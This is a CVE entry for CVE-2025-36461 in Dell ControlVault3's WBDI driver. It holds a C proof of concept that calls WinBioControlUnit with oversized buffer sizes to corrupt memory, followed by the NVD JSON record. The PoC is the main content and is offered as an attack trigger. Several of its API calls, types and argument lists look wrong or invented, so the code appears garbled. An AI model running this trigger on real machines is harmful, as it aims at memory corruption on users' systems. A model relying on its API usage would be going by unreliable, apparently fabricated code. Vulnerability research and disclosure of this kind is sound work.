CVE-2025-36461

// CVE-2025-36461 PoC - Dell ControlVault WBDI Driver Out-of-Bounds Access // Trigger via WinBioControlUnit with invalid buffer sizes #include <windows.h> #include <winbio.h> #include <winbio_types.h> #include <winbio_err.h> #pragma comment(lib, "winbio.lib") int main() { WINBIO_SESSION_HANDLE sessionHandle = NULL; WINBIO_UNIT_ID unitId = 0; HRESULT hr = S_OK; // Initialize WINBIO session hr = WinBioOpenSession( WINBIO_TYPE_FINGERPRINT, WINBIO_POOL_SYSTEM, WINBIO_SESSION_FLAG_DEFAULT, NULL, 0, WINBIO_DB_DEFAULT, &sessionHandle ); if (FAILED(hr)) { printf("WinBioOpenSession failed: 0x%x\n", hr); return hr; } // Find ControlVault device hr = WinBioEnumServiceProviders( WINBIO_TYPE_FINGERPRINT, WINBIO_FLAG_DEFAULT, NULL, &unitId ); // Trigger vulnerability with ControlCode 0 and invalid buffer sizes // WBIO_USH_GET_TEMPLATE with malformed ReceiveBufferSize/SendBufferSize WINBIO_CONTROL_PARAMETERS controlParams = {0}; WINBIO_CONTROL_DATA controlData = {0}; controlParams.ParameterType = WINBIO_PARAMETER_TYPE_BUFFER; controlParams.ControlCode = 0; // WBIO_USH_GET_TEMPLATE controlParams.ReceiveBufferSize = 0xFFFFFFFF; // Invalid size controlParams.SendBufferSize = 0xFFFFFFFF; // Invalid size hr = WinBioControlUnit( sessionHandle, unitId, WINBIO_STORAGE_ADAPTER, // Broadcom Storage Adapter &controlParams, &controlData ); if (SUCCEEDED(hr) || hr == WINBIO_E_INVALID_BUFFER_SIZE) { printf("Vulnerability triggered - potential out-of-bounds access\n"); } WinBioCloseSession(sessionHandle); WinBioShutdown(); return 0; }

{"cve": {"id": "CVE-2025-36461", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:52.763", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple out-of-bounds read and write vulnerabilities exist in the ControlVault WBDI Driver Broadcom Storage Adapter functionality of Dell ControlVault3 prior to 5.15.14.19 and Dell ControlVault3 Plus prior to 6.2.36.47. A specially crafted WinBioControlUnit call can lead to memory corruption. An attacker can issue an api call to trigger this vulnerability. This vulnerability is triggered when submitting a `WinBioControlUnit` call to the StorageAdapter with the ControlCode 0 (`WBIO_USH_GET_TEMPLATE`) and with either and an invalid `ReceiveBuferSize` and/or an invalid `SendBufferSize`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-805"}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2175", "source": "[email protected]"}, {"url": "https://www.dell.com/support/kbdoc/en-us/000326061/dsa-2025-228", "source": "[email protected]"}]}}